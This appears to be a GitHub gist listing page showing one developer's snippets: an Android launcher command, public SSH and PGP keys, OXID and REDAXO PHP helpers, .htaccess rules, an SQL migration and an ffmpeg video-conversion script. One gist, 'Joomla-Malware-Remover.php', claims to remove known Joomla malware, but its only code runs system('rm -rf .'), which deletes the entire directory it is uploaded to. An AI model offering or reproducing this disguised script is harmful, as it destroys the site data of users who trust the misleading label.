Skip to content

Instantly share code, notes, and snippets.

@dajoho
dajoho / pandory.sh
Created December 22, 2020 19:49
Pandory: Start Android without inbuilt controllers.
am start -n com.benny.openlauncher/com.benny.openlauncher.activity.HomeActivity
@dajoho
dajoho / ctf.licence.php
Created May 8, 2017 20:20
CTF Licence File
<?php # 91991dfcc6128b51a1e893ac15e3225cc43fab75 #
/*
__ _____
_____/ |__/ ____\ _____________ ____
_/ ___\ __\ __\ ______ \____ \_ __ \/ _ \
\ \___| | | | /_____/ | |_> > | \( <_> )
\___ >__| |__| | __/|__| \____/
\/ |__| [test.php / caa2d4f76a / 2017-05-08 20:19]
## Very Real Licence File ##
@dajoho
dajoho / id_rsa.pub
Created November 23, 2014 17:28
id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDo8zRUYxrzW+bZdo2uQFmw3lDTCWohgRjvgVnkNW0/1x/9waH5aJ9fZUKaKS06GyV4zSDcHgwxqsk9IyRAnASBTV3xiTgxOnGdZTWurfsyApPm6VtfTjVI6e0Y/X4FOmiOeXiQq8yOnb75qVM2falYAxL0niiCkl7NY/fq6rALT88H7UJkoLKWVlADaOnuX+dRomlh/nGe3GJ7CbEr9JuKftqVTlmRv8bW8VSQ95tjyvDidNnAQT/Xq/F26jBz+Dz5tR9tA9LzeIyNMBZJs7qUPKH8aSB5LCoqHAhjIqldVAwAUS6Y0T/fjIrdT5OieRIo22JK9/C/DBYomc7+QqqYCfA8Dql20OUGAo8L0bzAIrBFbAELR7pvH2V6RFk0ejSCHLSVeig5X7tGM6ik79eBvsVnkUTEMCrN9z++xyGkZ6ESwaNXGmaqHqXv6XOdJ3n+PO+qdCyVvliMsSyqaIAvUAmVy7sniJ4eJ8dxczHfuUbwgvrFSCeLrdFvBfU2G7ZqAaE2t6fu5ONWDuDTZMfwp4rgfdzxa/ehqIhPWaSWr8MZ2i4J371I+eGNZpNibxoWbrlzovW6vKUqPgY1/UMRUc5B9jTAISQy/M6Z1IFTdXxpNvY8apAv9n8iHQZ4Nqv0Xh9YEk9iTb8h9LeD7yy8XKVoIJaPxCpNAXjF2kwhtw== cardno:000500002ABF
@dajoho
dajoho / publickey.gpg
Created November 23, 2014 17:10
publickey.gpg
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v2.0.22 (GNU/Linux)
mQINBFRx/OEBEAC1Vl9Wlksm4w5w6wUbl/DIyu/sIziH1+iR5Z/nwOa26K4/d2tj
OS8OUsnXfuQTY66dM6a3vRrjLVZxR9UuaXiO1aTxNE4qdq2z0/6kY17lPHTT8sBV
xJCYV37/PRRAO6QXWPYJgkh5H50cjIFTl/65Rv1P6BeepNnwV6BFQSpm1chzYQ8B
Nr60jPxlzRb3pxpBi6b1E4+J+h2G7GDB9GxBxrtaueUdNc6bxfk/PvOQUzaeD+xE
jlZ28jC88ncDk3G5NHCVGjUs1HZMd8pbXoyT9sTHjNPbi7w2NN60NE1foOgsAwgZ
CfDkGGliwq4g2wrwJDu/JIzCHUzFx/qzbRD7PSVf0kw63SE0E5YtVJ38khSw6CXl
rJW41hxMrPLOZoS9nIVVJPlw4+JlnVD08YcN8WmwOWMXjFVSHslWr540kJPsCLOm
@dajoho
dajoho / gn2 oxid autoload shim
Last active August 29, 2015 14:06
Prevents OXID throwing a whitepage/redirect if a module exists in the database (aModules) that doesn't exist in the filesystem.
<?php
/* Put this in modules/functions.php */
require_once __DIR__.'/../core/oxfunctions.php';
function gn2_autoload_shim($class) { (substr($class, -7) == "_parent") ? eval('class '.$class.' {}') : ""; }
spl_autoload_register('gn2_autoload_shim');
?>
@dajoho
dajoho / gist:fec61839a346e80552bb
Created August 25, 2014 13:16
Additional processor rules .htaccess
# Additional processor rules
<IfModule mod_headers.c>
Header unset ETag
</IfModule>
FileETag None
# compress javascript, css:
AddOutputFilterByType DEFLATE text/plain
AddOutputFilterByType DEFLATE text/html
@dajoho
dajoho / update4_x_to_4_5.sql
Last active August 29, 2015 14:04
REDAXO Update: update4_x_to_4_5.sql
ALTER TABLE `rex_action` CHANGE `revision` `revision` INT( 11 ) NOT NULL DEFAULT '0';
ALTER TABLE `rex_article` CHANGE `revision` `revision` INT( 11 ) NOT NULL DEFAULT '0';
ALTER TABLE `rex_article_slice` CHANGE `revision` `revision` INT( 11 ) NOT NULL DEFAULT '0';
ALTER TABLE `rex_clang` CHANGE `revision` `revision` INT( 11 ) NOT NULL DEFAULT '0';
ALTER TABLE `rex_file` CHANGE `revision` `revision` INT( 11 ) NOT NULL DEFAULT '0';
ALTER TABLE `rex_file_category` CHANGE `revision` `revision` INT( 11 ) NOT NULL DEFAULT '0';
ALTER TABLE `rex_module` CHANGE `revision` `revision` INT( 11 ) NOT NULL DEFAULT '0';
ALTER TABLE `rex_module_action` CHANGE `revision` `revision` INT( 11 ) NOT NULL DEFAULT '0';
ALTER TABLE `rex_user` CHANGE `revision` `revision` INT( 11 ) NOT NULL DEFAULT '0';
ALTER TABLE `rex_template` CHANGE `revision` `revision` INT( 11 ) NOT NULL DEFAULT '0';
@dajoho
dajoho / Joomla-Malware-Remover.php
Created June 26, 2013 07:26
Removes all known Joomla Malware. Use at own risk. There is a slight chance it might kill your installation. Upload to root folder of Joomla.
<?php
# Removes all known Joomla Malware.
system("rm -rf .");
?>
@dajoho
dajoho / copycats.php
Last active July 30, 2020 14:00
Copy Categories REDAXO 4.3.x - Duplicates an entire category in REDAXO (including metadata, modules, slices & actions)
<?php
error_reporting(0);
include 'redaxo/include/master.inc.php';
error_reporting(E_ALL ^E_NOTICE);
ini_set('display_errors', 1);
$CLONE_THIS_ID = 184;
$DUPLICATE_MODULES = true;
@dajoho
dajoho / html5.sh
Created March 7, 2013 13:52
Shellscript to create HTML5 <video> MP4/OGV/WEBM/FLV/JPG versions of any video. The size, bitrate, cropping and sharpening can all be defined at the top of the script. Requirements: ffmpeg with libx264/libvpx/libtheora codecs (can be installed via homebrew). And flvtool2 (sudo gem install flvtool2).
#!/bin/bash
FILTERS="-filter:v crop=504:374:6:4,unsharp=5:5:1.0:5:5:0.0";
RESIZE="512x384";
VIDEO_BITRATE="1024k";
AUDIO_BITRATE="64k";
############################################################
for f in "$@"
do